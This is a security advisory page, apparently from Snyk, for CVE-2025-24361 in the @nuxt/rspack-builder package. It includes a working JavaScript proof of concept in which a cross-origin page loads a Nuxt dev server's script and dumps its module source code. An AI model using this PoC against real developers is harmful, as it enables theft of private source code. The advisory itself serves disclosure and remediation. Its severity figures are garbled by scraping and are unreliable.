Exposed Dangerous Method or Function Affecting @nuxt/rspack-builder package, versions <3.15.3>=3.12.2 <3.15.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-NUXTRSPACKBUILDER-8663230
  • published26 Jan 2025
  • disclosed25 Jan 2025
  • creditsapphi-red

Introduced: 25 Jan 2025

NewCVE-2025-24361  (opens in a new tab)
CWE-749  (opens in a new tab)

How to fix?

Upgrade @nuxt/rspack-builder to version 3.15.3, 3.15.3 or higher.

Overview

@nuxt/rspack-builder is a rspack bundler for Nuxt

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function when using webpack or rspack builder and navigating to a malicious website. An attacker can inject a script tag to request a classic script, which is not restricted by the same-origin policy. This allows the script to execute and access the window.webpackChunknuxt_app object. By utilizing Function::toString on the values within this object, the attacker can extract and display the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.

  2. Run npm run dev

  3. Open http://localhost:3000

  4. Run the script below in a web site that has a different origin.

  5. You can see the source code output in the document and the devtools console.

const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

for (const key in moduleList) {
  const p = document.createElement(&#39;p&#39;)
  const title = document.createElement(&#39;strong&#39;)
  title.textContent = key
  const code = document.createElement(&#39;code&#39;)
  code.textContent = moduleList[key].toString()
  p.append(title, &#39;:&#39;, document.createElement(&#39;br&#39;), code)
  document.body.appendChild(p)
}

} }) document.head.appendChild(script)

References

CVSS Scores

version 4.0
version 3.1